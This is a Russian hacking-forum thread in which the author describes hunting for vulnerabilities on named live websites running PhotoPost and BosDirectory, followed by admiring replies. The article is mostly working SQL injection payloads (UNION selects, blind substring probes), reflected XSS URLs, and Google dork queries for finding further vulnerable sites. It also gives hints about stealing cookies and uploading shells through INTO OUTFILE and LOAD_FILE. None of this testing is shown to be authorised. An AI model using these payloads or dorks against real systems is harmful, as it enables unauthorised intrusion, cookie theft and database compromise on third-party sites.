Авторские статьи Часть 2. Записки охотника (теперь за багами).

Discussion in 'Статьи' started by 1ten0.0net1, 10 Nov 2006.

  1. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Вообщем, день сразу начался здорово - во-первых, я наконец-то поспал хоть 6 часов за последние трое суток.
    Во-вторых, идеально пообщался с весьма интересной особой, к которой я испытываю неподдельный интерес.
    Но я не об этом. А о том, как я искал баги, и что нашёл.

    Усевшись за стол, я задумался - "Если уж везет, то во всем."
    И везде. И решил проверить рапространится ли моя удача в интернете.
    Заруливаю на Google, забиваю запрос (в этот раз решил соригинальничать немного - попробовал указать сразу две переменных).
    Запрос вернул много сайтов, но они мне не понадобились, ибо уже на втором сайте вместо ожидаемого инклуда я получил "неожидаемую" SQL инъекцию (не сразу, само собой, а минуты через две, т. к. сайт мне приглянулся и я решил на нём потестировать навыки (не ломателя, а поисковика)):

    _http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&=

    Остальные ссылки буду давать через POST, привыкайте - к этому, это очень полезно и много безопаснее.

    Скрипт в ответ громко выгугался словами:

    MySQL error reported!

    Сама перменная шла в запросе после оператора LIKE
    внутри условия AND. Вообщем, проще показать:
    Code:
    AND (user LIKE '%[COLOR=Red]'[/COLOR]%') ORDER BY  
    Ладно, подумал я. Мне есть что ответить. Ответ выглядел так:

    _http://www.sophoto.cn/photopost/showgallery.php
    POST:cat=-501+from+photos+WHERE%20approved='1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&=


    (Кол-во столбцов можно было узнать по выводу ошибки)

    Далее, я попробовал продолжить запрос так, как будто бы никакой ошибки нет:

    http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=%')+and(1=1)%20ORDER%20BY%20disporder,lastpost%20DESC/*&=

    Ошибки и впрямь не выпало, а это уже дало мне основания думать, что magic_quotes=Off, то есть кавычки модно будет попробовать, например, для заливки шелла при помощи INTO OUTFILE, ну, вообщем, Вы в курсе.

    Далее я осознал, что LIMIT не ORDER )) и попробовал заюзать UNION.

    _http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=no_name%')+union%20select%201,USER(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&=

    Никаких цифр я не увидел, тем более, - имени юзера, по которым сайт общался с БД.

    Ну ладно, будем перебирать посимвольно (никогда не юзайте скрипты! - чтобы понять ценность баги, над ней нужно попотеть)).

    http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=%')+and((ascii(lower(substring(USER(),1,1)))%3E200))/*&=

    Вообщем, не помню вернуло ли оно истину, но помню, что ..

    И тогда я вспылил..... (с) )))

    Нет, на самом деле, я в очередной раз задумался, постучал пальцами по столу и пришел к выводу о необходимости поиска другой аналогичной баги, но с более удачным выводом результатов. Само собой, бага нашлась, ведь то был мой счастливый день, да и баги по одиночке не ходят. )

    Думаете сейчас я найду багу, через которую залбю шелл? Нет. Я нашел еще один бажный параметр с именем cat (не от слова кот, а от слова каталог)):

    http://www.sophoto.cn/photopost/showgallery.php?cat=-501+from+photos+WHERE%20approved='1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&=


    В этом случае ошибки явно не выкидывало, как впрочем не выкидывало ничего вообще. Blind, вообщем.

    "Плохой сайт какой-то, неадекватный!" - подумал я. Потом посмотрел вниз страницы и увидел надпись:

    Powered by Vbimage.


    Что за VB? Visual Basic что ли? )
    Удивило, что отсутсвовала версия - но так бывает, когда администраторы сайтов пытаются спрятать свои дырки ) , при этом грубо нарушая авторские права.
    "Вот это и будет нашей зацепкой", - решил я.
    In da Google:
    powered Vbimage

    Не помню точного ответа гугля (хотя дело былоо вчера), но кажется порядка трех страниц.
    Побродив по страницам, я заметил 2 вещи:
    данный скрипт либо идет вместе с vbulletin, как мод, либо лежит где-нить недалеко от папки /photopost/ либо имела надпись Powered by Photopost в титле..

    Что за photopost такой? хорошо, что не photoget.
    Проверим:
    inurl:photopost inurl:name=

    Скриптов было достаточно много, среди них в том числе, во главе стоял сайт разработчика данного скрипта. Его мы тоже потестим. Попозже. Сейчас нужно выяснить какие версии есть уязвимы.
    На одном из сайтов, на котором работала данная уязвимость в титле я увидел Powered by PhotoPost 4.7.
    Ага, надо попробовать:
    intitle: Powered by PhotoPost 4.7
    А еще на всякий случай просто:
    Powered by PhotoPost 4.7

    Первой страницей, которую вернул скрипт была:
    photo.rol.ru/showphoto.php?photo=2640&password=0&sort=1&cat=500

    "Хех."", - подумал я и начал менять параметры.

    _http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=&name='&=


    Но ничего не вышло. Но справделивость всегда существует, да и день сегодня счастливый, поэтому кое-что я все же нашел. Конкретно - две XSS. А попробую-ка я не SQL, а XSS причем для того же параметра:

    _http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=&name=%22%3E%3Ch1%3EZdes%20mogla%20bit%20washa%20reklama.%20Ili%20sniffer%20=)%3C/h1%3E&=

    Ну... не все так плохо! Особенно, учитывая что в домене rol.ru существет весьма популярная почта с WEB-интерфейсом. А вдруг админы профильтруют переменную? Нужно подстраховаться.

    _http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=%22%3E%3Ch1%3Estraxowka numer 1%3C/h1%3E&name=&=

    _http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=%22%3E%3Ch1%3EN2%3C/h1%3E&what=&name=&=

    В соседнем скрипте тоже была бага:
    _http://photo.rol.ru/showphoto.php?photo=166735&size=big%22%3E%3Ch2%3EBug%20here%3C/h2%3E&password=&sort=1&cat=&page=1

    Вообщем, я думаю понятно, что за скрипты там стоят. Кстати, у меня вот руки не дошли закачать фотку с именем <script>alert()</script>. Но, имхо, активные XSS'ки там тоже в ходу.

    Таксс.... А ведь уязвимость может быть и на других сайтах! Наведаемся к старым друзьям:

    _http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=%22%3E%3Ch1%3EFrom%201ten0.0net1%20with%20love%3C/h1%3E&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=&=

    Опаньки! Еще и XSS.
    Тут я всерьез задумался на степенью кривизны творцов данного чуда. Пойдем к ним в гости.

    В титульной части сайта было написано следующее:
    PhotoPost PHP Photo Gallery With vBulletin and Other Forum Integration

    Ога.... Я думаю понятно, насколько мне повезло - я имею ввиду, что сам скрипт photopost чаще всего как написано, будет рядом с форумами. А это значит что? Это значит, что даже если при помощи SQL ничего не поучится сделать с форумом, то куи утащить будет вполне реально. Как бы найти примерчик...
    А далеко ходить не пришлось:
    PhotoPost Sites In Action
    И ниже ссылочка:

    _http://www.photopost.com/action/index.php?cat_id=5'&pg=4&sort=date&sort_dir=a


    как выснилсось, на большинстве указанных там сайтов, стоят новые версии PhotoPost'a. Жаль. Ладно потестируем сайт создателей. Долго тестиовать не пришлось: мало того, что они забоялись пользоваться своим творением, так еще пользовались чужим дырявым:

    _http://www.photopost.com/action/index.php?cat_id=1

    Опускаем глаза и видим:
    BosDirectory v2.50

    _http://www.photopost.com/action/index.php?cat_id=5+AND(1=2)/*&pg=4&sort=date&sort_dir=a

    _http://www.photopost.com/action/index.php?cat_id=5+order+by+10/*&pg=4&sort=date&sort_dir=a

    Выкидывает html код. А внизу ошибку выполения запроса:
    The query: SELECT category_add FROM bos_categories WHERE category_id=5 order by 10/*
    The result: Unknown column '10' in 'order clause'

    Ну и отлично. Колумн нужный всео один.

    _http://www.photopost.com/action/index.php?cat_id=5+union+select+1/*&pg=4&sort=date&sort_dir=a

    Начинаю сомневаться в своей вменяемости:
    MySQL error!
    The query: SELECT category_parent,category_title FROM bos_categories WHERE category_id=5 union select 1/*
    The result: The used SELECT statements have a different number of columns

    Ладно, предположим мне показлось (а может это новый виж SQL-инъекии - джамп injection, или на****щая инъекция ) ).
    На самом деле, как я понял, там просто в запросе истинном переменная встречается несколько раз, хотя..
    Вообщем не суть. Суть в том, что моей целью было найти баги и я их нашел (шеллы я уже добывал, сейчас цель другая).

    Ну и наконец, проверим н бажность создателся скрипта
    BosDirectory

    Отольются кошке мышкины слезы - идем на сайт второго создателя. Сразу находим:
    _http://www.bosdev.com/phpinfo.php
    Из этого файла можно узнать полный путь к вебу, а потом, при соответствующих правах заинсертить шелл...

    ищем XSS. Находим:

    _http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus%22%3E%3Ch1%3Ealarm!%3C/h1%3E

    Далее у меня в браузере началась вторая серия паранормалки (я трезвый был когда баги искал!):
    _http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(1=2)/*
    Все нормально, ошибок нет.
    _http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(1=1)/*
    (2 раза загрузить)

    MySQL error!
    The query: INSERT INTO bdir3_search_cache VALUES(2,'Anti-virus') and(1=2)/*')


    Your search returned no results
    Разве??

    Чудеса. Жаль, то не MSSQL, смысл запроса не поменять.(

    Но можно дополнить. Кстати, не знаю как Вам, а мне кажется что имя таблицы кэш там не спроста. И запросы каким-то образом кешируются, поэтомум грузить нужно по два раза.

    http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(ascii(lower(substring(USER,1,8)))%3E888)/*

    Ну, и таким образом проводим инъекцию.

    P. S. Кстати, скрипт сам оказался платным (49$)

    Вообщем, итог всего похождения:

    1) Многочисленные SQL и XSS инъекции на достаточно популярном проекте PHOTO POST. Скажу сразу - определить версии уязвимых скриптов оказалось, трудно, но уязвимы многие версии.

    XSS: showphoto.php; showgallery.php
    SQL: showgallery.php

    Google trick:
    powered Vbimage
    intitle:powered by Photopost
    inurl:/photopos/


    Пример:
    XSS:
    http://site.com/BosDirectory/search.php?type=basic&criteria=Anti-virus%22%3E%3Ch1%3Ealarm!%3C/h1%3E
    SQL:
    photopost/showgallery.php?cat=-501+from+photos+WHERE%20approved='1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*
    Само собой, magic_quotes=Off. Но только для этой переменной, а их там, бажных достаточно.


    2) Соответственно, SQL инъекция и XSS инъекции в платном скрипте BosDirectory.

    XSS: скрипт search.php
    SQL: скрипт index.php

    Google trick:
    Powered by BosDirectory
    inurl:Bosdirectory


    Пример:
    XSS:
    http://site.ru/showphoto.php?photo=166735&size=big%22%3E%3Ch2%3EBug%20here%3C/h2%3E
    SQL:
    http://site.com/index.php?cat_id=5+order+by+10/*

    P. P. S. я указал не все скрипты и не все бажные переменые - некоторые я упомянул в статье, некоторые даже не назвал ;-). Кроме того, не стоит забывать о таких прекрасных функциях как LOAD_FILE() и INSERT INTO. Я о них почти не упомняул. А ведь они часто помогают получить шелл.

    Удачи!

    Всегда готов помочь, если что-то непонятно - обращайтесь.

    С уважением, 1ten0.0net1.
     
    #1 1ten0.0net1, 10 Nov 2006
    Last edited: 10 Nov 2006
    19 people like this.
  2. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Эх... нравяться мне рассказы Андерсона на ночь... )))))) Молодец!
     
  3. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    431
    Likes Received:
    252
    Reputations:
    48
    Кульная статья. Полюбому + )
     
  4. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    Ну что тут можно сказать...молодец...
     
    1 person likes this.
  5. D=P=CH= MOD=

    D=P=CH= MOD= Elder - Старейшина

    Joined:
    15 Aug 2006
    Messages:
    249
    Likes Received:
    195
    Reputations:
    15
    1ten0.0net1

    Респектище!

    Прям зачитался))))
     
  6. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    как всегда захватывающе! Молодца!
     
  7. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    Читал не отрываясь =)
     
  8. m0le[x]

    m0le[x] Wardriver

    Joined:
    25 Oct 2006
    Messages:
    759
    Likes Received:
    576
    Reputations:
    105
    Отлично! молодец